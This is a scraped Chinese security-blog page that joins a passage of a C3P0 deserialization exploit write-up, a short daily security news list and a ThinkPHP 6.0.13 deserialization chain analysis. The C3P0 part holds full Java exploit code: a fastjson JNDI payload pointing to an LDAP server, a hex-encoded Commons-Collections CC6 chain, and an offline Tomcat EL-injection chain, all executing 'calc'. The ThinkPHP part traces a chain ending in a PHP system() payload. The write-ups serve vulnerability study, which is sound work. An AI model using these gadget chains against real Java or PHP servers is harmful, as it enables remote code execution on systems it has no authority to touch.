jndiRefConnectionPoolDataSource = new JndiRefConnectionPoolDataSource();           jndiRefConnectionPoolDataSource.setJndiName("ldap://127.0.0.1:1230/remoteObject");           jndiRefConnectionPoolDataSource.setLoginTimeout(1);       }   }   用 fastjson 打也比较简单 public class JndiRefConnectionPoolDataSourceEXP {       public static void main(String[] args) {           String payload = "{\"@type\":\"com.mchange.v2.c3p0.JndiRefConnectionPoolDataSource\"," +                   "\"jndiName\":\"ldap://127.0.0.1:1230/remoteObject\",\"LoginTimeout\":\"1\"}";           JSON.parse(payload);       }   } 成功   C3P0 之 hexbase 攻击利用 • 这个点因为之前从来没有接触到过,所以跟着其他师傅的文章学习一下,同时这一种利用方式也是二次反序列化的利用之一。 C3P0 之 hexbase 流程分析 这条链子能成立的根本原因是,有一个 WrapperConnectionPoolDataSource 类,它能够反序列化一串十六进制字符串 链子首部是在 WrapperConnectionPoolDataSource 类的构造函数中,如图  在给 userOverrides 赋值的时候,用的是 C3P0ImplUtils.parseUserOverridesAsString() 这么一个操作,这个方法的作用就是反序列化 userOverride 把它这个 String 类型的东西转为对象。跟进  它这里把 hex 字符串读了进来,把转码后的结果保存到了 serBytes 这个字节流的数组中,这个字节流是拿去进行 SerializableUtils.fromByteArray() 的操作,值得注意的是,在解析过程中调用了 substring() 方法将字符串头部的 HASM_HEADER 截去了,因此我们在构造时需要在十六进制字符串头部加上 HASM_HEADER,并且会截去字符串最后一位,所以需要在结尾加上一个;  SerializableUtils#fromByteArray() 调用了 SerializableUtils#deserializeFromByteArray,跟进,看到了反序列化的操作 ———— readObject()   C3P0 之 hexbase EXP 编写 • 因为我们在链子的第一步的时候,看到传入的参数是 this.getUserOverridesAsString(),所以用 Fastjson 的链子打会很简单。 这里我们需要写一个构造 hex 的 EXP,调用之前学 CC 链就可以 EXP 如下 package hexBase;      import com.alibaba.fastjson.JSON;   import org.apache.commons.collections.Transformer;   import org.apache.commons.collections.functors.ChainedTransformer;   import org.apache.commons.collections.functors.ConstantTransformer;   import org.apache.commons.collections.functors.InvokerTransformer;   import org.apache.commons.collections.keyvalue.TiedMapEntry;   import org.apache.commons.collections.map.LazyMap;      import java.beans.PropertyVetoException;   import java.io.ByteArrayOutputStream;   import java.io.IOException;   import java.io.ObjectOutputStream;   import java.io.StringWriter;   import java.lang.reflect.Field;   import java.util.HashMap;   import java.util.Map;      public class HexBaseFastjsonEXP {          //CC6的利用链    public static Map CC6() throws NoSuchFieldException, IllegalAccessException {           //使用InvokeTransformer包装一下    Transformer[] transformers = new Transformer[]{                   new ConstantTransformer(Runtime.class),                   new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),                   new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),                   new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})           };           ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);           HashMap<Object, Object> hashMap = new HashMap<>();           Map lazyMap = LazyMap.decorate(hashMap, new ConstantTransformer("five")); // 防止在反序列化前弹计算器    TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key");           HashMap<Object, Object> expMap = new HashMap<>();           expMap.put(tiedMapEntry, "value");           lazyMap.remove("key");              // 在 put 之后通过反射修改值    Class<LazyMap> lazyMapClass = LazyMap.class;           Field factoryField = lazyMapClass.getDeclaredField("factory");           factoryField.setAccessible(true);           factoryField.set(lazyMap, chainedTransformer);              return expMap;       }             static void addHexAscii(byte b, StringWriter sw)       {           int ub = b & 0xff;           int h1 = ub / 16;           int h2 = ub % 16;           sw.write(toHexDigit(h1));           sw.write(toHexDigit(h2));       }          private static char toHexDigit(int h)       {           char out;           if (h <= 9) out = (char) (h + 0x30);           else out = (char) (h + 0x37);           //System.err.println(h + ": " + out);    return out;       }          //将类序列化为字节数组    public static byte[] tobyteArray(Object o) throws IOException {           ByteArrayOutputStream bao = new ByteArrayOutputStream();           ObjectOutputStream oos = new ObjectOutputStream(bao);           oos.writeObject(o);           return bao.toByteArray();       }          //字节数组转十六进制    public static String toHexAscii(byte[] bytes)       {           int len = bytes.length;           StringWriter sw = new StringWriter(len * 2);           for (int i = 0; i < len; ++i)               addHexAscii(bytes[i], sw);           return sw.toString();       }          public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, PropertyVetoException {           String hex = toHexAscii(tobyteArray(CC6()));           System.out.println(hex);              //Fastjson<1.2.47    String payload = "{" +                   "\"1\":{" +                   "\"@type\":\"java.lang.Class\"," +                   "\"val\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"" +                   "}," +                   "\"2\":{" +                   "\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"," +                   "\"userOverridesAsString\":\"HexAsciiSerializedMap:"+ hex + ";\"," +                   "}" +                   "}";           JSON.parse(payload);             }   } 在低版本 Fastjson 的情况下,实际上也可以使用下面的 Payload String payload = "{" +         "\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"," +         "\"userOverridesAsString\":\"HexAsciiSerializedMap:"+ hex + ";\"," +         "}"; C3P0 之 hexbase 调试分析 断点位置如图  因为我们第一次 Fastjson 拿进去打的是空,是用来加载的,第二次的 payload 是执行,所以可以直接跳过第一次的加载。  当第二次 Fastjson 进来的时候,就有了  在过了 substring 这一步之后,我们看到前面的:HexAsciiSerializedMap: 都无了,现在加载进来的才是真正的 hex 内容  接着,把 hex 的内容转化为了 bytes 字节码  下一步,进行反序列化  跟进  成功弹出计算器 C3P0 之 hexbase 另类 EXP 调试分析 在上文 EXP 的编写中,我提到了 "在低版本 Fastjson 的情况下,实际上也可以使用下面的 Payload" 这到底是怎么一回事儿呢 实际上 Fastjson 初始化 WrapperConnectionPoolDataSource 类时,userOverridesAsString 属性是空的,要想进行反序列化操作,必须先给其赋值。理论上来说,要想解析 userOverridesAsString 属性,至少需要调用两次构造函数。 我们来调试看一下 断点依旧是同一个位置,开始调试  惊奇的发现,userOverrideAsString 一开始为 null,但是经过一轮之后,变成了 hex;这到底是为什么呢?我们可以去到 WrapperConnectionPoolDataSourceBase#setUserOverridesAsString 里面去看一看  不妨在这个地方下个断点,然后调试一下。 师傅们调试的时候会发现,这个  setUserOverridesAsString() 的运行逻辑大致是这样的,首先把之前为 null 的 userOverridesAsString 赋值给 oldVal,接着判断这两个是否相等,或者是否都为 null,如果不满足这个条件,就把新的值赋给 userOverridesAsString,如图  后续的过程和前面一样,就不再分析了。 0x04 C3P0 链子的不出网利用 这一种攻击方式是向https://goodapple.top/archives/1749学到的 不论是 URLClassLoader 加载远程类,还是 JNDI 注入,都需要目标机器能够出网。 而加载 Hex 字符串的方式虽然不用出网,但却有 Fastjson 等的相关依赖。那么如果目标机器不出网,又没有 Fastjson 依赖的话,C3P0 链又该如何利用呢? 关于 Java 的链子,如何不出网利用一直是一个很有趣的话题,也是很有意思的攻击面。 在 Jndi 高版本利用中,我们可以加载本地的 Factory 类进行攻击,而利用条件之一就是该工厂类至少存在一个 getObjectInstance() 方法。比如通过加载 Tomcat8 中的 org.apache.naming.factory.BeanFactory 进行 EL 表达式注入;关于 EL 表达式注入可以看这篇 https://drun1baby.github.io/2022/09/23/Java-%E4%B9%8B-EL-%E8%A1%A8%E8%BE%BE%E5%BC%8F%E6%B3%A8%E5%85%A5/ 先导入依赖 <dependency>       <groupId>org.apache.tomcat</groupId>       <artifactId>tomcat-catalina</artifactId>       <version>8.5.0</version>   </dependency>   <dependency>       <groupId>org.apache.tomcat.embed</groupId>       <artifactId>tomcat-embed-el</artifactId>       <version>8.5.15</version>   </dependency> C3P0 链子的不出网利用分析与 EXP 已经确定是想通过 EL 表达式注入的方式攻击了,我们需要先选择攻击的链子。 Jndi 的链子比较难,限制非常多,而且是不出网的利用,所以 pass 了; URLClassLoader 的链子是可行的,只需要我们把之前 URLClassLoader 的 EXP 进行一些修改即可。 HexBase 的链子也是不可行的,因为它是基于 Fastjson 的一条链子。 EXP 如下 package NoNetUsing;      import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;   import org.apache.naming.ResourceRef;      import javax.naming.NamingException;   import javax.naming.Reference;   import javax.naming.Referenceable;   import javax.naming.StringRefAddr;   import javax.sql.ConnectionPoolDataSource;   import javax.sql.PooledConnection;   import java.io.*;   import java.lang.reflect.Field;   import java.sql.SQLException;   import java.sql.SQLFeatureNotSupportedException;   import java.util.logging.Logger;      public class NoAccessEXP {          public static class Loader_Ref implements ConnectionPoolDataSource, Referenceable {              @Override    public Reference getReference() throws NamingException {               ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", (String)null, "", "", true, "org.apache.naming.factory.BeanFactory", (String)null);               resourceRef.add(new StringRefAddr("forceString", "faster=eval"));               resourceRef.add(new StringRefAddr("faster", "Runtime.getRuntime().exec(\"calc\")"));               return resourceRef;           }              @Override    public PooledConnection getPooledConnection() throws SQLException {               return null;           }              @Override    public PooledConnection getPooledConnection(String user, String password) throws SQLException {               return null;           }              @Override    public PrintWriter getLogWriter() throws SQLException {               return null;           }              @Override    public void setLogWriter(PrintWriter out) throws SQLException {              }              @Override    public void setLoginTimeout(int seconds) throws SQLException {              }              @Override    public int getLoginTimeout() throws SQLException {               return 0;           }              @Override    public Logger getParentLogger() throws SQLFeatureNotSupportedException {               return null;           }       }          //序列化    public static void serialize(ConnectionPoolDataSource c) throws NoSuchFieldException, IllegalAccessException, IOException {           //反射修改connectionPoolDataSource属性值    PoolBackedDataSourceBase poolBackedDataSourceBase = new PoolBackedDataSourceBase(false);           Class cls = poolBackedDataSourceBase.getClass();           Field field = cls.getDeclaredField("connectionPoolDataSource");           field.setAccessible(true);           field.set(poolBackedDataSourceBase,c);              //序列化流写入文件    FileOutputStream fos = new FileOutputStream(new File("ser.bin"));           ObjectOutputStream oos = new ObjectOutputStream(fos);           oos.writeObject(poolBackedDataSourceBase);          }          //反序列化    public static void unserialize() throws IOException, ClassNotFoundException {           FileInputStream fis = new FileInputStream(new File("ser.bin"));           ObjectInputStream objectInputStream = new ObjectInputStream(fis);           objectInputStream.readObject();       }          public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {           Loader_Ref loader_ref = new Loader_Ref();           serialize(loader_ref);           unserialize();       }   } 把原来 URLClassLoader 的地方修改成 EL 表达式的命令执行即可。 C3P0 链子的不出网利用调试 简单调试理解一下。 先把断点下在 BeanFactory 的 getObjectInstance() 方法下,因为这里是一定被调用到的。  此处,我们可以看到之前的调用链,如图  我们去到 readObject() 方法的地方加一个断点,再重新跑一遍,简单调试一下,我们就可以看到这是一个 URLClassLoader 的链子。   此处进行了命令执行的操作  0x05 小结 C3P0 这条链子分析起来还是不难,建议师傅们可以动手去尝试一个个类看一下,看哪里可能会存在有漏洞。 同时 C3P0 链的价值也是非常高的,C3P0 的包在实战环境中除CommonsCollections、CommonsBeanutiles 以外遇到最多的 JAR 包,其中一部分 C3P0 是被 org.quartz-scheduler:quartz 所依赖进来的。 关于前文提到的 "误打误撞看到的一处伪 JNDI 注入,失败告终",后续文章会仔细讲这一片段。
网络安全日报 2022年10月10日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、Everest 勒索软件入侵了南非国有电力公司 ESKOM https://securityaffairs.co/wordpress/136866/cyber-crime/south-africa-eskom-everest-ransomware.html 2、美国第二大非营利性连锁医院CommonSpirit 遭勒索软件攻击 https://securityaffairs.co/wordpress/136843/cyber-crime/commonspirit-ransomware-attack.html 3、微软针对未修补的 Exchange Server 漏洞发布缓解措施 https://thehackernews.com/2022/10/microsoft-issues-improved-mitigations.html 4、Atlas VPN发布流行浏览器风险研究报告,Chrome漏洞最多 https://www.hackread.com/apple-safari-google-chrome-browser/ 5、丰田称29.6万使用T-Connect服务的客户信息可能已泄露 https://otomotif.antaranews.com/berita/3166145/toyota-sebut-296-ribu-informasi-pelanggan-mungkin-bocor 6、ADATA(威刚)否认遭到RansomHouse组织攻击 https://www.bleepingcomputer.com/news/security/adata-denies-ransomhouse-cyberattack-says-leaked-data-from-2021-breach/ 7、《信息安全技术 软件供应链安全要求》(征求意见稿)发布 https://www.freebuf.com/news/346297.html 8、Maggie恶意软件已感染亚太地区超250台MS SQL服务器 https://www.secrss.com/articles/47657 9、仅售“50元”:英国首相个人手机号遭曝光 https://www.secrss.com/articles/47628 10、香格里拉酒店遭黑客入侵,29 万港人个人信息受影响 https://www.secrss.com/articles/47617
ThinkPHP6.0.13反序列化漏洞分析
1. 前言 最近有点闲下来了,不找点事干比较难受,打算找点漏洞分析一下,于是就打算看看TP的一些漏洞,ThinkPHP6.0.13是TP的最新版,八月份有师傅提交了一个issue指出TP存在反序列化问题,网上也有些师傅分析了一波,不过断点下的比较多,而且部分方法没有阐明其用途,所以我也尝试详细的分析一波。下面先给出POC 2. 分析 首先看看POC的起始点 发现起始点在Psr6Cache这个类,我们进入这个类,不过没有发现__destruct或者__wakeup等常见的反序列化起始魔术方法,推测应该在其父类AbstractCache这个抽象类中。跟入AbstractCache类 如图,成功发现本次反序列化链子的起始类。这里我们可以控制autosave这个属性为false,从而进入save方法。 回到Psr6Cache类查看这个方法 可以发现,pool属性和key属性我们都可控。因此可能存在两种路线,调用不同类的同名方法(getItem)。或者是直接尝试触发__call方法。我们来看看POC作者是怎么让反序列化进行下去的。 作者用构造方法传入了exp,exp其实就是在实例化Channel类。我们进入Channel类查看 Channel类中有一个__call方法,那么作者是选择触发__call来让链子继续下去。这个call方法接受了两个参数,method是写死的(getItem),parameters是可控的(即前面可控的key属性) 跟入log方法查看,其接受三个传参(但是其实对后续的链子没啥用),传入record方法 跟入record方法 再返回查看作者的POC,发现其控制lazy属性为false,让函数进入最后一个if分支执行save方法 那么save方法应该是比较关键的方法了,跟入save方法,这里面有三个可能被利用的点,作者选择了哪一个呢? 根据POC不难发现作者选择了控制logger属性,利用构造函数对其赋值,令其为Socket类的对象 在这个类中,我们找到了一个复杂的同名方法,其中有大量的操作。 我们继续来看作者是怎么构造的,作者控制config属性,给其赋值为数组。数组有如下内容 关键在于这两个键值,作者控制config,让程序运行到调用invoke方法的分支 同时,app属性可控,作者令app属性为App类的对象,我们进入App类 这里先看看App类的的exists方法的情况,在其父类中找到了这个方法 继续往后,这里对App类进行了唯一一个操作,控制了instances属性的值。这里控制其值是为了进入Request类,并且执行url方法 作者在这里对Request类做出唯一的操纵,就是控制url属性的值。可以看出,如果url属性存在,那么就会进入第一个分支,其值等于本身。 同时又注意到,complete我们之前传入的是true。因此最终返回的结果就是$this->domain().$url,url我们已经控制了,那么domain方法返回什么呢? OK,这点我们就不用看了。分析了这么多,我们得到了$currentUri最后的值,就是: http://localhost/<?php system(\'calc\'); exit(); ?> currentUri作为一个数组被传入invoke了,根据链子的长度,达到invoke,我们的反序列化之旅就快结束了 查看invoke,App类找不到这个方法,在他的父类里找到了这个方法 这里可以看到。这个函数内有三分支走向,那么最终会走向哪里呢?根据我们之前$config[‘format_head’]的传入, 首先我们传入的这个对象不是Closure的实例或者子类,并且也不满足第二个分支的条件 因此进入到到第三个分支。我们跟进invokeMethod()方法。这里传入的$callabel就是[new \think\view\driver\Php,'display']、而$vars就是[‘http://localhost/<?php system(\'calc\'); exit(); ?>’]  注意,我们传入的$method是数组,因此进入第一个分支。把new \think\view\driver\Php (即对象)赋值给$class,’display’(即方法名)赋值给新的$method。 然后下面进行了一个判断,如果$class是对象,那么其值就为它本身,因为我们传入的是对象,所以这里没什么变化。然后进入最关键的代码 可以看到,把对象new \think\view\driver\Php 以及方法 display传入了ReflectionMethod。  在最后,调用invokeArgs方法,传入了new \think\view\driver\Php对象,同时传入了$args  那么args是什么呢? 我们跟入之后发现是一个处理函数,因为本人比较懒,而且到这都快分析完了,就不去硬读了,直接给结论,总之我们传入的 $vars ,也即 [‘http://localhost/<?php system(\'calc\'); exit(); ?>’] 其中的关键部分<?php system(\'calc\'); exit(); ?>保留了下来,并且进入到了后续的传参中 继续往后看,对于这个函数(invokeArgs),可以简单的类比call_user_func(),因此最后的关键代码其实只有这两行 也即 $reflect = new ReflectionMethod(new \think\view\driver\Php,’display’); return $reflect->invokeArgs(new \think\view\driver\Php,’ <?php system(\'calc\'); exit(); ?>’) 常看tp反序列化的朋友就知道,已经结束咧!毕竟调用display方法了。但是上述这个调用ReflectionMethod类的操作到底是什么呢?我们可以借助如下实例来演示。所以说这玩意和call_user_func很像 最后是display方法,没什么好说的了,content传入display方法中,eval执行命令了 3. 结语 TP的链子一如既往的有意思(以及复杂),特别是最后的ReflectionMethod类的用法上,如果不了解这个类以及类中的方法组合可以实现类似call_user_func函数的作用的话,那么就很容易错过这样一个精彩的漏洞。
第2页 第3页 第4页 第5页 第6页 第7页 第8页 第9页 第10页 第11页 第12页 第13页 第14页 第15页 第16页 第17页 第18页 第19页 第20页 第21页 第22页 第23页 第24页 第25页 第26页 第27页 第28页 第29页 第30页 第31页 第32页 第33页 第34页 第35页 第36页 第37页 第38页 第39页 第40页 第41页 第42页 第43页 第44页 第45页 第46页 第47页 第48页 第49页 第50页 第51页 第52页 第53页 第54页 第55页 第56页 第57页 第58页 第59页 第60页 第61页 第62页 第63页 第64页 第65页 第66页 第67页 第68页 第69页 第70页 第71页 第72页 第73页 第74页 第75页 第76页 第77页 第78页 第79页 第80页 第81页 第82页 第83页 第84页 第85页 第86页 第87页 第88页 第89页 第90页 第91页 第92页 第93页 第94页 第95页 第96页 第97页 第98页 第99页 第100页 第101页 第102页 第103页 第104页 第105页 第106页 第107页 第108页 第109页 第110页 第111页 第112页 第113页 第114页 第115页 第116页 第117页 第118页 第119页 第120页 第121页 第122页 第123页 第124页 第125页 第126页 第127页 第128页 第129页 第130页 第131页 第132页 第133页 第134页 第135页 第136页 第137页 第138页 第139页 第140页 第141页 第142页 第143页 第144页 第145页 第146页 第147页 第148页 第149页 第150页 第151页 第152页 第153页 第154页 第155页 第156页 第157页 第158页 第159页 第160页 第161页 第162页 第163页 第164页 第165页 第166页 第167页 第168页 第169页 第170页 第171页 第172页 第173页 第174页 第175页 第176页 第177页 第178页 第179页 第180页 第181页 第182页 第183页 第184页 第185页 第186页 第187页 第188页 第189页 第190页 第191页 第192页 第193页 第194页 第195页 第196页 第197页 第198页 第199页 第200页 第201页 第202页 第203页 第204页 第205页 第206页 第207页